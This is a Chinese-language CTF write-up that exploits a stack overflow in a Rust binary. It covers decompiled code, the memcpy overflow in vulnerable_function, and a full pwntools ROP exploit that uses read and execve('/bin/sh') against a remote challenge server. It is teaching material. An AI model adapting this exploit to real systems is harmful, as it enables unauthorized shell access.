rust

rust

第一次写rust pwn,还好这只是一道简单的栈溢出题

检查保护

1
2
3
4
5
6
7
8
[*] '/home/ash/Desktop/pwn/rust/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes

没有canary 和 pie保护

源码分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// local variable allocation has failed, the output may be wrong!
void __cdecl rust_1::main::hdbe7208ddd0c7ee0()
{
__int64 v0; // rax
core::result::Result<usize,std::io::error::Error> v1; // rax OVERLAPPED
core::result::Result<usize,std::io::error::Error> v2; // rdi
__int64 v3; // rcx
__int64 v4; // rax
std::sync::poison::mutex::Mutex<std::io::buffered::bufreader::BufReader<std::io::stdio::StdinRaw>> *v5; // rax
char v6; // dl
core::result::Result<usize,std::io::error::Error> v7; // rax OVERLAPPED
core::result::Result<usize,std::io::error::Error> v8; // rdi
__int64 v9; // rcx
__u8_ v10; // rax
core::fmt::Arguments v11; // [rsp+60h] [rbp-108h] BYREF
alloc::string::String v12; // [rsp+90h] [rbp-D8h] BYREF
__int64 v13; // [rsp+A8h] [rbp-C0h]
core::fmt::Arguments v14; // [rsp+B0h] [rbp-B8h] BYREF
alloc::vec::Vec<u8,alloc::alloc::Global> v15; // [rsp+E0h] [rbp-88h] BYREF
std::io::stdio::StdinLock v16; // [rsp+F8h] [rbp-70h] BYREF
__int64 v17; // [rsp+108h] [rbp-60h]
alloc::string::String v18; // [rsp+110h] [rbp-58h] BYREF
core::fmt::Arguments v19; // [rsp+128h] [rbp-40h] BYREF

rust_1::syscall_ret_gadget::h21f6f2c7b46b5404();
core::fmt::Arguments::new_const::ha0f72a08894fdd0e(&v11, (_str (*)[1])pieces_0);// "The challenges of Rust\n"
std::io::stdio::_print::ha3861c4b52105cd3();
alloc::string::String::new::h553411fda016cd29(&v12);// 创建空的String变量v12
std::io::stdio::stdin::hf92f36da866e71ee(); // 获取标准输入(stdin)
v13 = v0;
std::io::stdio::Stdin::read_line::hc0786934ed918e0d();// 读取一行存入v12
v2 = v1;
*(_QWORD *)&v1.gap0[8] = aError;
v3 = 5;
core::result::Result$LT$T$C$E$GT$::expect::he3bf486bbcb6acf8(v2, *(_str *)((char *)&v1 + 8));
core::fmt::Arguments::new_const::ha0f72a08894fdd0e(&v14, (_str (*)[1])pieces_1);// "Please enter data:\n"
std::io::stdio::_print::ha3861c4b52105cd3();
alloc::vec::Vec$LT$T$GT$::new::he65a89778ab6d674(&v15);// 创建一个空的 Vec<u8>(字节数组)v15
std::io::stdio::stdin::hf92f36da866e71ee();
v17 = v4;
std::io::stdio::Stdin::lock::ha155f6e1d39725d8();// 获取 stdin 的互斥锁(StdinLock),确保线程安全地读取。
v16.inner.lock = v5;
v16.inner.poison.panicking = v6 & 1;
_$LT$std..io..stdio..StdinLock$u20$as$u20$std..io..BufRead$GT$::read_until::h0d60887e33371c5e();// read_until(b'\n', &mut v15)
v8 = v7;
*(_QWORD *)&v7.gap0[8] = "Read failed";
v9 = 11;
core::result::Result$LT$T$C$E$GT$::expect::he3bf486bbcb6acf8(v8, *(_str *)((char *)&v7 + 8));
core::ptr::drop_in_place$LT$std..io..stdio..StdinLock$GT$::hbad30a2df3248829(&v16);// 释放 StdinLock
v10 = _$LT$alloc..vec..Vec$LT$T$C$A$GT$$u20$as$u20$core..ops..deref..Deref$GT$::deref::h08b972f1fd5416a7(&v15);
rust_1::vulnerable_function::h48d3ddfe89c29463(&v18, v10);// 把用户输入的原始字节 v10(类型 &[u8])传给 vulnerable_function,v18为空
core::ptr::drop_in_place$LT$alloc..string..String$GT$::h1c9c88a604d6d5ec(&v18);
core::fmt::Arguments::new_const::ha0f72a08894fdd0e(&v19, (_str (*)[1])pieces_2);// "Program ended\n"
std::io::stdio::_print::ha3861c4b52105cd3();
core::ptr::drop_in_place$LT$alloc..vec..Vec$LT$u8$GT$$GT$::h335e016c9bd54c58(&v15);
core::ptr::drop_in_place$LT$alloc..string..String$GT$::h1c9c88a604d6d5ec(&v12);
}

虽然看着复杂,实际上只有两个输入

1
2
3
4
alloc::string::String::new::h553411fda016cd29(&v12);// 创建空的String变量v12
std::io::stdio::stdin::hf92f36da866e71ee(); // 获取标准输入(stdin)
v13 = v0;
std::io::stdio::Stdin::read_line::hc0786934ed918e0d();// 读取一行存入v12

这是第一次输入,v12在栈上,并且后面并没有利用,所以实际没有用处

1
2
3
4
5
6
7
8
_$LT$std..io..stdio..StdinLock$u20$as$u20$std..io..BufRead$GT$::read_until::h0d60887e33371c5e();// read_until(b'\n', &mut v15)
v8 = v7;
*(_QWORD *)&v7.gap0[8] = "Read failed";
v9 = 11;
core::result::Result$LT$T$C$E$GT$::expect::he3bf486bbcb6acf8(v8, *(_str *)((char *)&v7 + 8));
core::ptr::drop_in_place$LT$std..io..stdio..StdinLock$GT$::hbad30a2df3248829(&v16);// 释放 StdinLock
v10 = _$LT$alloc..vec..Vec$LT$T$C$A$GT$$u20$as$u20$core..ops..deref..Deref$GT$::deref::h08b972f1fd5416a7(&v15);
rust_1::vulnerable_function::h48d3ddfe89c29463(&v18, v10);// 把用户输入的原始字节 v10(类型 &[u8])传给 vulnerable_function,v18为空

这里是第二次输入,把输入的字节传入vulnerable_function函数,没有限制输入的大小

vulnerable_function函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
alloc::string::String *__cdecl rust_1::vulnerable_function::h48d3ddfe89c29463(
alloc::string::String *__return_ptr retstr,
__u8_ input)
{
usize n; // [rsp+18h] [rbp-100h]
__int128 dst; // [rsp+40h] [rbp-D8h] BYREF
core::fmt::Arguments v5; // [rsp+50h] [rbp-C8h] BYREF
core::fmt::rt::Argument args[1]; // [rsp+80h] [rbp-98h] BYREF
u8 x[16]; // [rsp+98h] [rbp-80h] BYREF
alloc::borrow::Cow<str> v8; // [rsp+A8h] [rbp-70h] BYREF
u8 *data_ptr; // [rsp+C0h] [rbp-58h]
usize length; // [rsp+C8h] [rbp-50h]
u8 *v11; // [rsp+E0h] [rbp-38h]
__int128 *v12; // [rsp+E8h] [rbp-30h]
usize v13; // [rsp+F0h] [rbp-28h]
__int128 *p_dst; // [rsp+F8h] [rbp-20h]
__int64 v15; // [rsp+100h] [rbp-18h]
u8 *v16; // [rsp+108h] [rbp-10h]
usize v17; // [rsp+110h] [rbp-8h]

n = input.length;
data_ptr = input.data_ptr;
length = input.length;
dst = 0;
v16 = input.data_ptr;
v17 = input.length;
p_dst = &dst;
v15 = 16;
v11 = input.data_ptr;
v12 = &dst;
v13 = input.length;
core::intrinsics::copy_nonoverlapping::precondition_check::h23ff89e319f47fb8(
input.data_ptr,
&dst,
1u,
1u,
input.length);
memcpy(&dst, input.data_ptr, n); // 这里直接把我们输入的字节赋值给dst,存在栈溢出
core::fmt::rt::Argument::new_debug::h2f2cc6de74340192((u8 (*)[16])x);
args[0] = *(core::fmt::rt::Argument *)x;
core::fmt::Arguments::new_v1::h3d6e7b0e7a348a1b(&v5, (_str (*)[2])pieces, (core::fmt::rt::Argument (*)[1])args);
std::io::stdio::_print::ha3861c4b52105cd3();
alloc::string::String::from_utf8_lossy::h51fbe5dcdeb2e59c();
_$LT$T$u20$as$u20$alloc..string..ToString$GT$::to_string::h7284f5348dd0825e(retstr, &v8);
core::ptr::drop_in_place$LT$alloc..borrow..Cow$LT$str$GT$$GT$::hf33c92e9a5f8c32a(&v8);
return retstr;
}

这里我们可以看到memcpy(&dst, input.data_ptr, n);处存在栈溢出,因为输入时没有对字符串长度进行限制,而且直接把输入赋值给了dst,我们可以直接利用这个栈溢出打execve(“/bin/sh”, 0,0)

但是我们没有栈地址,没有/bin/sh\x00,所以需要我们先调用read函数把/bin/sh\x00读入bss段,然后可以直接调用execve系统调用拿到shell

具体步骤

这里要注意一个点,在第二次输入时,最后输出的缓冲区是16个字节,所以我们在输入16个字节后要加上\x00截断

image-20251220122816049

然后调用read系统调用读入/bin/sh\x00

image-20251220123124383

最后调用execve系统调用拿到shell

image-20251220123224719

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level = "debug"
# io = gdb.debug("./pwn")
# elf = ELF("./pwn")
#io = process("./pwn")

io = remote("39.107.99.184", 30888)
bss_addr = 0x459D38
pop_rdi_rbp = 0x0000000000402203
pop_rsi_rbp = 0x00000000004022c3
pop_rax = 0x000000000040486a
pop_rdx = 0x000000000041ca3a
ret_addr = 0x000000000040201a
syscall = 0x405878
io.recvuntil(b"The challenges of Rust\n")
io.sendline(b"aaaa")

io.recv()
payload = b"a" * 16
payload += b"\x00" * 8 + b"a" * (0xd8 - 8 * 3)
payload += p64(pop_rax) + p64(0)+ p64(pop_rdi_rbp) + p64(0) + p64(ret_addr) + p64(pop_rsi_rbp) + p64(bss_addr + 0x10) + p64(ret_addr) + p64(pop_rdx) + p64(0x100) + p64(syscall)

payload += p64 (ret_addr) + p64(pop_rax) + p64(59) + p64(pop_rdi_rbp) + p64(bss_addr + 0x10) + p64(ret_addr) + p64(pop_rsi_rbp) + p64(0) + p64(ret_addr) + p64(pop_rdx) + p64(0) + p64(syscall)

#pause()
io.sendline(payload)
io.sendline(b"/bin/sh\x00")
#pause()
io.interactive()

image-20251220115522747